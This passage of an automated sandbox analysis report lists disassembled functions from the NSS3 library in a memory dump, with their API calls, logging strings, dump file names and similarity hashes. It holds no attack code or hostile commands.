free.MOZGLUE(00000000), ref: 6CB65FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB6600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB66079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB66084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB66094

Strings

, xrefs: 6CB65EEB

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: 20fde066876cfc167cfafbbdc7393c3ca62ba588ab10d7df6ab716b6a94502fc
Instruction ID: 201a2e27c5602ce3f59e0f1ef0bc2e1cac69698bd1ce27139fa3f731f09315c3
Opcode Fuzzy Hash: 20fde066876cfc167cfafbbdc7393c3ca62ba588ab10d7df6ab716b6a94502fc
Instruction Fuzzy Hash: F58107B1E002459BDF10CB66DC80BAE77B5EF04318F144128E859A7F82E731E928CBD6

Function 6CB86D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6CB86D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CB86DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CB86DC3

Part of subcall function 6CC6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CB86DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CB86DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CB86E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6CB86E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6CB86E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6CB86EB9

Strings

pDigest = 0x%p, xrefs: 6CB86E27
(CK_INVALID_HANDLE), xrefs: 6CB86DBC
hSession = 0x%x, xrefs: 6CB86D9E, 6CB86DAE
pData = 0x%p, xrefs: 6CB86DF5
*pulDigestLen = 0x%x, xrefs: 6CB86EB4
C_Digest, xrefs: 6CB86D81
pulDigestLen = 0x%p, xrefs: 6CB86E42
ulDataLen = %d, xrefs: 6CB86E0E

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: 215810f7b80265ff79940c4525f61271d38edb38b81033eb71271d29b780310a
Instruction ID: 9389e449858d9c2854051325dd959988fec99913a7519e0bff0f6d9118f1a1fb
Opcode Fuzzy Hash: 215810f7b80265ff79940c4525f61271d38edb38b81033eb71271d29b780310a
Instruction Fuzzy Hash: 7C41B675612054AFDB009F95DD98F8A3BB6EB4231EF044064E909EBA11EB30DC48CBA6

Function 6CB89C40 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6CB89C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CB89C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CB89CA3

Part of subcall function 6CC6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CB89CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6CB89CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CB89CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CB89D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6CB89D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6CB89D42

Strings

(CK_INVALID_HANDLE), xrefs: 6CB89C9C
hSession = 0x%x, xrefs: 6CB89C7E, 6CB89C8E
ulUsernameLen = %d, xrefs: 6CB89D3D
pPin = 0x%p, xrefs: 6CB89CF0
C_LoginUser, xrefs: 6CB89C61
pUsername = 0x%p, xrefs: 6CB89D24
userType = 0x%x, xrefs: 6CB89CD5
ulPinLen = %d, xrefs: 6CB89D0B

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser
API String ID: 1003633598-3838449515
Opcode ID: 229ba6a98e6c56f0685724327680cbfcfef5faaeb13f52c7eec23e18466d13bd
Instruction ID: 1bd7de73b9218ea491a132d508e2d58b603b0133189f1410b158828515354428
Opcode Fuzzy Hash: 229ba6a98e6c56f0685724327680cbfcfef5faaeb13f52c7eec23e18466d13bd
Instruction Fuzzy Hash: F541A871A02194AFDF00DF95DD98E9E3BB6EB4231EF484014E509ABB51E7319818CBA9

Function 6CB41FE0 Relevance: 28.8, APIs: 19, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6CB42007
calloc.MOZGLUE(00000001,00000084), ref: 6CB42077
calloc.MOZGLUE(00000001,0000002C), ref: 6CB420DF
TlsSetValue.KERNEL32(00000000), ref: 6CB42188
PR_NewCondVar.NSS3 ref: 6CB421B7
calloc.MOZGLUE(00000001,00000084), ref: 6CB4221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CB422C2
GetLastError.KERNEL32 ref: 6CB422CD
free.MOZGLUE(00000000), ref: 6CB422DD

Part of subcall function 6CB40F00: PR_GetPageSize.NSS3(6CB40936,FFFFE8AE,?,6CAD16B7,00000000,?,6CB40936,00000000,?,6CAD204A), ref: 6CB40F1B
Part of subcall function 6CB40F00: PR_NewLogModule.NSS3(clock,6CB40936,FFFFE8AE,?,6CAD16B7,00000000,?,6CB40936,00000000,?,6CAD204A), ref: 6CB40F25

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID:
API String ID: 3559583721-0
Opcode ID: aa41b92bd18a318b390bd55b81675e53656cd32c2a8da3ded93e78ab48b10767
Instruction ID: 13cdb3d814383ab8008525845566205a49d03db98d7c74ad9d79eebc5c271043
Opcode Fuzzy Hash: aa41b92bd18a318b390bd55b81675e53656cd32c2a8da3ded93e78ab48b10767
Instruction Fuzzy Hash: 1791ADB0A057419FDB10DFB8E80C75B7AF4FB06749F00842AE44AD7A40EB70A449EF96

Function 6CC69C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6CC69C70
PR_NewLock.NSS3 ref: 6CC69C85

Part of subcall function 6CC198D0: calloc.MOZGLUE(00000001,00000084,6CB40936,00000001,?,6CB4102C), ref: 6CC198E5

PR_NewCondVar.NSS3(00000000), ref: 6CC69C96

Part of subcall function 6CB3BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CB421BC), ref: 6CB3BB8C

PR_NewLock.NSS3 ref: 6CC69CA9

Part of subcall function 6CC198D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CC19946
Part of subcall function 6CC198D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAD16B7,00000000), ref: 6CC1994E
Part of subcall function 6CC198D0: free.MOZGLUE(00000000), ref: 6CC1995E

PR_NewLock.NSS3 ref: 6CC69CB9
PR_NewLock.NSS3 ref: 6CC69CC9
PR_NewCondVar.NSS3(00000000), ref: 6CC69CDA

Part of subcall function 6CB3BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CB3BBEB
Part of subcall function 6CB3BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CB3BBFB
Part of subcall function 6CB3BB80: GetLastError.KERNEL32 ref: 6CB3BC03
Part of subcall function 6CB3BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CB3BC19
Part of subcall function 6CB3BB80: free.MOZGLUE(00000000), ref: 6CB3BC22

PR_NewCondVar.NSS3(?), ref: 6CC69CF0
PR_NewPollableEvent.NSS3 ref: 6CC69D03

Part of subcall function 6CC5F3B0: PR_CallOnce.NSS3(6CCB14B0,6CC5F510), ref: 6CC5F3E6
Part of subcall function 6CC5F3B0: PR_CreateIOLayerStub.NSS3(6CCB006C), ref: 6CC5F402
Part of subcall function 6CC5F3B0: PR_Malloc.NSS3(00000004), ref: 6CC5F416
Part of subcall function 6CC5F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6CC5F42D
Part of subcall function 6CC5F3B0: PR_SetSocketOption.NSS3(?), ref: 6CC5F455
Part of subcall function 6CC5F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6CC5F473

Part of subcall function 6CC19890: TlsGetValue.KERNEL32(?,?,?,6CC197EB), ref: 6CC1989E

EnterCriticalSection.KERNEL32(?), ref: 6CC69D78
calloc.MOZGLUE(00000001,0000000C), ref: 6CC69DAF
_PR_CreateThread.NSS3(00000000,6CC69EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6CC69D9F

Part of subcall function 6CB3B3C0: TlsGetValue.KERNEL32 ref: 6CB3B403
Part of subcall function 6CB3B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6CB3B459

_PR_CreateThread.NSS3(00000000,6CC6A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6CC69DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6CC69DFC
_PR_CreateThread.NSS3(00000000,6CC6A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6CC69E29
calloc.MOZGLUE(00000001,0000000C), ref: 6CC69E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6CC69E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CC69E89

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: 14508c8059d30612e65fb9c5128909bcc23b2dcb8fc6a7106696de295c606257
Instruction ID: fa06c36fef1d1ef753ee0c5bada55d1cdb9bee3ba9a7d0bab0d19c45a86423d3
Opcode Fuzzy Hash: 14508c8059d30612e65fb9c5128909bcc23b2dcb8fc6a7106696de295c606257
Instruction Fuzzy Hash: 9A612CB1900706AFD710DF76D984AABBBE8FF48208B044529E859C7F11FB30E855CBA1

Function 6CB63FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6CB64014

Part of subcall function 6CB639F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CB65E6F,?), ref: 6CB63A08
Part of subcall function 6CB639F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CB65E6F), ref: 6CB63A1C
Part of subcall function 6CB639F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB63A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6CB64038

Part of subcall function 6CBB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB587ED,00000800,6CB4EF74,00000000), ref: 6CBB1000
Part of subcall function 6CBB0FF0: PR_NewLock.NSS3(?,00000800,6CB4EF74,00000000), ref: 6CBB1016
Part of subcall function 6CBB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB587ED,00000008,?,00000800,6CB4EF74,00000000), ref: 6CBB102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CB6404D

Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB10F3
Part of subcall function 6CBB10C0: EnterCriticalSection.KERNEL32(?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB110C
Part of subcall function 6CBB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1141
Part of subcall function 6CBB10C0: PR_Unlock.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1182
Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CC7A0F4), ref: 6CB640C2

Part of subcall function 6CBAF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CBAF0C8
Part of subcall function 6CBAF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CBAF122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6CB6409A

Part of subcall function 6CBABE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CB5E708,00000000,00000000,00000004,00000000), ref: 6CBABE6A
Part of subcall function 6CBABE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CB604DC,?), ref: 6CBABE7E
Part of subcall function 6CBABE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CBABEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB640DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB640F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB64108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6CB6411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6CB64137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6CB64150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6CC7A1C8), ref: 6CB6417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6CB64194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CB641A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB641B2
PK11_DestroyObject.NSS3(?,?), ref: 6CB641D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB641FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CC7A1A8), ref: 6CB6422D

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: 6dbfa1de5782fd20e46532bba07e89b7288183634a4a2663df23b2e6ea548bba
Instruction ID: 8910d25ddc6f3545da9585f0f349888a69aba81d97853646b2b96814aaf4298a
Opcode Fuzzy Hash: 6dbfa1de5782fd20e46532bba07e89b7288183634a4a2663df23b2e6ea548bba
Instruction Fuzzy Hash: 2E512AB1A447806BF710DB67DC51B6B7ADDDF5134CF040528E96AC2F42FB31D4088AA2

Function 6CBA8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6CBA8E01,00000000,6CBA9060,6CCB0B64), ref: 6CBA8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6CBA8E01,00000000,6CBA9060,6CCB0B64), ref: 6CBA8E9E
PORT_ArenaAlloc_Util.NSS3(6CCB0B64,00000001,?,?,?,?,6CBA8E01,00000000,6CBA9060,6CCB0B64), ref: 6CBA8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6CBA8E01,00000000,6CBA9060,6CCB0B64), ref: 6CBA8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6CBA8E01,00000000,6CBA9060,6CCB0B64), ref: 6CBA8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6CBA8E01,00000000,6CBA9060,6CCB0B64), ref: 6CBA8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6CBA8E01), ref: 6CBA8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CCB0B64,6CCB0B64), ref: 6CBA8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6CBA8F3F

Part of subcall function 6CBAA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6CBAA421,00000000,00000000,6CBA9826), ref: 6CBAA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBA904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6CBA8E76

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: be4df122c7536ab7cc7514fae8b1943cf35595da908cf5759040c3eda5ae83fe
Instruction ID: 2161b50e81b4f1f8d5263c25a001ced2d8fe0f3af827e1b09c74589e0b393462
Opcode Fuzzy Hash: be4df122c7536ab7cc7514fae8b1943cf35595da908cf5759040c3eda5ae83fe
Instruction Fuzzy Hash: 576172B5D041469FDB10CF96CC80AAFB7B9EF84358F144529DC58A7B00EB32A916CBA1

Function 6CB58E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB58E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CB58E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CB58EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CC818D0,?), ref: 6CB58F03
PR_CallOnce.NSS3(6CCB2AA4,6CBB12D0), ref: 6CB58F19
PL_FreeArenaPool.NSS3(?), ref: 6CB58F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CB58F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CB58F65
PL_FinishArenaPool.NSS3(?), ref: 6CB58FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6CB58FFE
PR_CallOnce.NSS3(6CCB2AA4,6CBB12D0), ref: 6CB59012
PL_FreeArenaPool.NSS3(?), ref: 6CB59024
PL_FinishArenaPool.NSS3(?), ref: 6CB5902C
PORT_DestroyCheapArena.NSS3(?), ref: 6CB5903E

Strings

security, xrefs: 6CB58EE7

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 7439c9d50468f692a86b40b1aa334a10b3592c3ade8b7040eeb1b60d12f16cd8
Instruction ID: 45a8ca022a79679a04075a9cea33965e864fe49a228e4f98e001b1778fb92251
Opcode Fuzzy Hash: 7439c9d50468f692a86b40b1aa334a10b3592c3ade8b7040eeb1b60d12f16cd8
Instruction Fuzzy Hash: 185138B1648380ABD7109F59DC41BAF73E8EB8935CF84082EF555A7B40E732D8198763

Function 6CB84E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6CB84E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CB84EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CB84EC7

Part of subcall function 6CC6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CB84EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CB84F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CB84F1A
PR_LogPrint.NSS3(?,00000000), ref: 6CB84F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CB84F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CB84F68

Strings

(CK_INVALID_HANDLE), xrefs: 6CB84EC0, 6CB84F13
hSession = 0x%x, xrefs: 6CB84EA2, 6CB84EB2
C_GetAttributeValue, xrefs: 6CB84E7E
pTemplate = 0x%p, xrefs: 6CB84F4A
ulCount = %d, xrefs: 6CB84F63
hObject = 0x%x, xrefs: 6CB84EF5, 6CB84F05

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: a411fb19bfa8f1f9a302d599651bddc8a3f5d87336996a8f11e927fbb3a8cf32
Instruction ID: 3b5655ca684cc72b9929b38087b60867596fcfcef6face2ad34f15d6e31f45d5
Opcode Fuzzy Hash: a411fb19bfa8f1f9a302d599651bddc8a3f5d87336996a8f11e927fbb3a8cf32
Instruction Fuzzy Hash: 2B41C971602184AFDB00DB55DE98F9E77B9EF4231EF044028E50D6BA51E7309D49CFA5

Function 6CB84CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6CB84CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CB84D28
